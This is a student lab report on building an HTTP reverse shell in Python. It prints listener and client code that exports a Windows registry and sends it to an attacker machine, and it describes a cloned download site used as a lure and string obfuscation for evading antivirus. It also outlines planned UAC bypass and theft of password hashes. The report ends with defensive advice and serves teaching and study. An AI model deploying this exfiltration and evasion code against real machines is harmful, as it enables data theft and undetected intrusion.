COMP 5970/6970: HTTP Reverse Shell

Alex Lewin, Charlie Harper

11/8/19

---

1 Executive Summary

The purpose of this project was to develop and demonstrate our understanding of socket programming, TCP protocol, HTTP, and reverse shell attacks.

Our assignment was to pose as a malicious intruder that aims to steal data from their victim without detection. To do this, we wrote a python script that creates an HTTP reverse shell connection from a victim machine. The script then collects information from the victim and sends it back to the server.

We were able to successfully download the executable on the victim machine, exfiltrate the registry data, and run Windows Defender without being flagged as malware.

---

2 Problem Description

2.1 Overview

Our assignment was to pose as a malicious intruder that aims to steal data from their victim. To do this, we were instructed to write a python script that creates an HTTP shell connection between our host machine and a remote windows client.

This script should be converted into an executable file and sent to the victim machine. Once the script is downloaded and run on the victim machine, it should access the key data from the Windows registry. Then, the data should be collected into a file and exfiltrated to the attacker.

This script should collect the victim's operating system registry contents into a file and then exfiltrate the data back to our host machine. In addition, our script must not be flagged as malware by Windows Defender.

2.2 Technical Specifications

Server (Attacker) machine specifications:

- Operating System: **Kali Linux**
- Server Location: **Shelby 2129**
- IP Address: **192.168.x.30**
- `python3 --version`: `Python 3.6.7`

Client (victim) machine specifications:

- Operating System: **Microsoft Windows 10**
- Server Location: **Shelby 2129**
- IP Address: **192.168.x.40**
- `python3 --version`: `Python 3.6.7`

---

3 Code Explanation

To orchestrate the reverse shell connection, we created three scripts: **server.py**, creates a simple web server, **client.py** runs on the victim machine and **listener.py** runs on our host machine.

3.1 server.py

To deliver the script to run on the victim machine, we created a fake copy of an existing website, Hex-Rays, to trick our victim into downloading and running our executable.

Fake Website

The victim would then navigate to the *downloads* section of the web page and click the download link for Windows.

Fake Download

This download link delivers an executable containing our **client.py** script. Once the script runs, it looks like below:

Running

3.2 listener.py

On the **listener.py** script, we used several external python modules:

1. All of the socket programming was done using the **socket** module.
2. To communicate between the two systems over a HTTP connection, we utilized the **SimpleHTTPRequestHandler** in the **http.server** module.
3. To receive and handle TCP requests, we used the **socketserver** module.
4. Finally, we used the **sys** module to call **sys.exit**.

```
import socket as sock
import http.server as Serv
import socketserver
import sys
```

httpHandler Class

We define the **httpHandler** class that extends the built-in python module **http.server.SimpleHTTPRequestHandler**. This class allows us to handle incoming custom HTTP requests on our TCP server. It implements two functions: **do_GET** and **do_POST**.

The **do_GET** sends a GET request to the victim machine and then accepts the response. Each function call organizes one section of the HTTP request.

```
#Function in httpHandler class
def do_GET(self):

  #Prompts user to prepare for request
  command = input("Connection Established.\n      \
  Press enter to get the registry of the host\n\n>")

  #Sets HTTP status code 200 (OK)
  self.send_response(200)

  #Sets content type to text
  self.send_header("Content-Type", "text/html")
  self.end_headers()

  #Writes command passed into file to be
  #sent (encoded utf-16)
  self.wfile.write(bytes(command, "utf-16"))
```

The **do_POST** function handles post information from the client and processes the registry data from the user into a file.

```
#Exists as instance function of handler class
def do_POST(self):

  #Send HTTP OK response
  self.send_response(200)

  #Signifies end of header
  self.end_headers()

  #Stores length of incoming message
  content_len = int(self.headers['Content-Length'])


  #Prints content length
  print("Content length: {}".format(content_len))

  #Writes incoming data into transferred.reg file
  with open("transferred.reg", "wb") as f:
    f.write(self.rfile.read(content_len))
```

The program enters at line 33.

```
if __name__ == '__main__':
  try:
    #Creates instance of custom handler
    myHandler = httpHandler

    #Creates instance of TCP Listener on
```

```
    #the given ip address, port 80 with
    #the custom handler to exfiltrate Data
    serv_sock = socketserver.TCPServer(('xxx.xxx.xxx.xxx', 80), myHandler)

    #The while loop permits collection of
    #many incoming requests
    while True:
      serv_sock.serve_forever()

    #Closes Connection
    print("Closing Connection")
    serv_sock.server_close_connection()

  except KeyboardInterrupt:
    print("ctrl-c was hit")
    serv_sock.server_close()
```

3.4 Client.py

This script runs on the victim machine and exfiltrates the registry data to the listener.

We used several external python libraries:

1. All of the socket programming was done using the **`socket`** module.
2. HTTP requests were made using the **`requests`** module.
3. To call command line commands from our script, we utilized python's **`subproccess`** module.
4. The **`signal`** module allows us to kill the program in runtime.
5. The **`sys`** module allows us to invoke `sys.exit()`.
6. The **`os`** module allows us to collect our current directory path.
7. Finally, we used the **`base64`** module for an obfuscation attempt.

```
import socket as sock
import requests as re
import subprocess
from subprocess import PIPE
import signal
import sys
import os
import base64
```

The **`open_shell`** function sends an HTTP GET request to the listener, establishing the connection. It passes in the URL of the listener and returns a connection socket to communicate over.

```
def open_shell(url):

  #requests.get returns a live socket
    client = re.get(url)
    return client
```

The **get_commands** function checks if the server connection is active. If it is, the content of the request is decoded and returned.

```
#The server socket is passed in.
def get_commands(client):

  #Checks if HTTP Code is OK
    if client.status_code == 200:

    #Content of request is decoded and returned
        password = client.content.decode('utf-16')
        return password


    else:

    #Throws error if HTTP code is not OK
        print("Error!")
        re.post(b'error')
        return None
```

The **return_results** function sends the registry file back to the listener.

```
#passes in listener url and file name
def return_results(url, file_name):

  #opens registry file and sends back to listener
    re.post(url=url, data=open(file_name, 'rb'))
```

This function collects the host's registry information into a file, and returns the path to the file. Note, the function is intentionally obfuscated to bypass antivirus software. *Section 6.2*

```
def two():
  one=' %TE'
  fi='tem'

  #Non-obfuscated command: regedit /e %TEMP% \\ temp.reg
  #regedit collects registry information (/e exports into temp.reg)
  subprocess.call('r'+'ege'+'dit /e'+one+'M'+'P%'+'\\'+fi+'p.reg', shell=True)

  #Stores and returns directory path of temp.reg
  path = os.environ["TEMP"] + "\\"+fi+"p.reg"

  return path
```

Finally, the program enters at line 38.

```
if __name__ == "__main__":
    try:

    #URL of listener
        url = 'http://xxx.xxx.xxx.xxx'

    #instantiates live socket to communicate with listener
        client = open_shell(url)

    #This returns a directory path containing registry information
    file_name = two()

    #Sends file back to listener
    return_results(url, file_name)
    break
```

3.5 Possible Addenda

If we were to continue developing this project, we have several additions that we would like to implement:

- **Additional Commands**: We could add more capability to our client, perhaps accessing additional information.

- **UAC Bypass**: Currently, the User Access Control panel asking if it is ok to edit the regitry pops up and requires the user to confirm our application for it to run. We would like to implement some sort of bypass.

- **Privilege Escalation**: We would like to add some solution to escalate the privilege of our script. This would allow us to access the SAM registry information, which could lead to hashed passwords. It should be possible to combine the UAC Bypass with this functionality.
- **Obfuscation**: We would like to include layered obfuscation to bypass additional virus scanners. This may include encryption, encoding, packing, compressing, and possibly even process injection.
- **Automation**: Lastly, we would like to fully automate the script. This would allow the program to function without any physical person on the listener's end.

---

4 Creating an Executable

An objective of this project was to create a single payload to deliver and place on the victim system. The solution for this problem was to create an executable of our **`client.py`** program.

In creating the executable, we had to include all of the libraries necessary to run the program, and it had to pass through windows defender without throwing any warnings (Go to section 6.1). In addition, it had to successfully establish the connection with the listener on the attacker machine and run the included scripts without throwing any flags.

We analyzed several candidate programs that we could choose to solve this problem:

- `auto-py-exe`
- `py2exe`
- `pyinstaller`

Each one of the programs essentially does the same thing, but each has subtle differences. We decided to use `pyinstaller` because it provided a single easy-to-use command that we could run from the command prompt. Also, it has several useful options that allow for configurability.

The command we used was: `pyinstaller --onefile <name of the file>`.

`--onefile` signifies that all of the libraries should be packaged into the executable, which allowed us to transfer a single file to the victim machine.

The final executable was ~**6kB** in size.

We had the option to use the `--windowed` flag, which would completely hide the running window making it invisible. However, this triggers multiple anti-virus applications, so we decided not to include it.

---

5 Testing and Packet Capture

To demonstrate our programs fidelity, we tested our scripts while running *Wireshark*, a packet capture software, in the background.

5.1 File Download

The first step in the process is for the victim to access our fake website and download/run our script. The packet trace is below:

File Download

5.2 Reverse Shell Establishment

Next, the victim's machine establishes a reverse shell with our listener:

Establish Connection

5.3 File Download Start

Once our script accesses the victim's registry, the exfiltration of the registry data begins:

Begin File Transfer

5.4 File Download Completion

Finally, packets are sent to signify that the data transfer has completed:

Complete File Transfer

From this, we collected *6kB* of registry information. For example, from the information, we found several specific certificates for the user:

```
[HKEY_USERS\S-1-5-21-2045988393-1956208540-432654337-1002\SOFTWARE\Microsoft\SystemCertificates\C
```

If we had escalated our privileges, we would have been able to collect the SAM or security account manager keys. This would have given us hashed password keys for the account manager.

---

6 Obfuscation Efforts

6.1 Foundational Investigation

A goal of the assignment was to run this process without detection of the victim's antivirus software. This was easily done without having to obfuscate the source code or the behavior of the code itself.

However, this begs the question: if the file had been detected by the antivirus of the victim machine, how would we get around it?

To get a foundation for where our code was as far as being detected by antivirus software, we tested our script against *VirusTotal*, a free online service that checks files with different antivirus software. Initially, 9/40 of the tests/scans in *VirusTotal* flagged our executable as *malicious software*.

We made several attempts to obfuscate our program, attempting to slip through antivirus software:

6.2 Base64 Encoding and Decoding

Base64 encoding was our first attempt at bypassing malware detection.

Our encoded script failed *10/40* of the *VirustTotal* tests. The base64 encoding triggered one *additional* test. However it still passes Windows Defender.

We suspect that base64 encoding is flagged because it is a common obfuscation technique.

6.3 Obfuscating Strings and Obscuring Functions

Our next attempt at spoofing the virus detection was to manually obfuscate potentially suspect lines of our script. The snippet below (from `client.py`) is from as shown below.

Table 1: Obfuscation of 'regedit' example

Original

```
def two():
    subprocess.call('regedit /e %TEMP%\\temp.reg', shell=True)
    path = os.environ["TEMP"] + "\\temp.reg"
    return path
```

Obfuscated Code

```
def two():
  one=' %TE'
  fi='tem'
  str = 'r'+'ege'+'dit /e'+one+'M'+'P%'+'\\'+fi+'p.reg'
  subprocess.call(str, shell=True)
  path = os.environ["TEMP"] + "\\"+fi+"p.reg"
  return path
```

6.4 Encryption

While researching obfuscation techniques, we looked into the possibility of encrypting pieces of our script.

To do this, we looked into the python library *Crypto*, an API to access the PyCryptodome library.

In addition, we investigated using another popular cipher called *AES* (Advanced Encryption Standard).

While we did not end up utilizing encryption for our scripts, we acknowledge its potential for helping bypass malware detection.

6.5 Obfuscation Summary and Conclusion

When fully implemented and layered, obfuscation may be a viable option to bypass or slip through antivirus software; however, when implementing a single simple method, obfuscation seems to have the opposite effect and actually trigger some of the antivirus scans - a specific example being with the base64 encoding and decoding.

We suspect that many of the antivirus software vendors have become aware of the behaviors or techniques that authors of malware are using to evade detection. This has led many of the vendors to look for those specific techniques and flag them as suspicious processes. In the future, I would like to try and implement the encryption method, and layer the obfuscation techniques to bypass *VirusTotal*' scanners.

In addition, another method was presented by the *Fireeye* red-team. They suggested to inject bash commands directly into threads and memory, completely bypassing the command prompt. This would be interesting to try in the future.

---

7 Conclusions

After completing this assignment and writing an httpe reverse shell and listener that could exfiltrate the windows registry, we have developed a new appreciation for both the malware developers and for the role of the blue team. Some of the biggest challenges of the project was debugging the transfer of the registry over the network, and learning windows specific tools that would pull the specific information we wanted.

We actually had *higher* expectations for the capability of Windows Defender. Without any obfuscation, our script passed through Windows Defender without being flagged. Despite this, it would be interesting to learn how to implement several obfuscation techniques so this tool could be leveraged against more sophisticated targets- ones with better antivirus software, to start with.

Furthermore, this project showed just how easy it is for criminals to pwn actual companies. We created an eerily realistic piece of malware that could completely compromise a company's entire network. This program could easily grow into a sophisticated piece of software with lots of functionality.

---

8 Recommendations

There are a few suggestions that we would make to our client to avoid viruses like this:

1. **Purchase stronger antivirus software**: One of the key the principles in security is layering. Having a single piece of security - in this case, windows defender - is not a good solution or means of protecting that system or host. If this were in an enterprise, this could result in the compromising of a system and then spread to the rest of the organization.
2. **Watch out for key signs of suspicious activity on your network**: As indicated by the screenshots, once a reverse shell has been made, there are often LARGE files that are exfiltrated from port 80. The IT department should perform the *smell test* by asking some questions regarding the traffic.
    - Is this normal behavior?
    - What's being downloaded?
    - What's the website or source that triggered the download?
    - If it looks suspicious:
        - Go to that computer and determine what the operator was doing.
        - Run virus scanners on the computer, and look for suspicious files.
        - Look for transfers late in the day outside of hours of operation.
        - If your system has been compromised, it may be possible to mitigate the damage if you recognize specific signs.
    - Are there encoded files be transferred across the network? Does something being transferred appear as though someone is trying to hide its purpose or intentions?
3. **Train your staff**: Tell you staff to look for the lock in the URL bar, signifying the website has proper security credentials. Also, the staff should not download files from websites that are not trusted. Finally, make sure you read what the warnings are when clicking through new downloads.
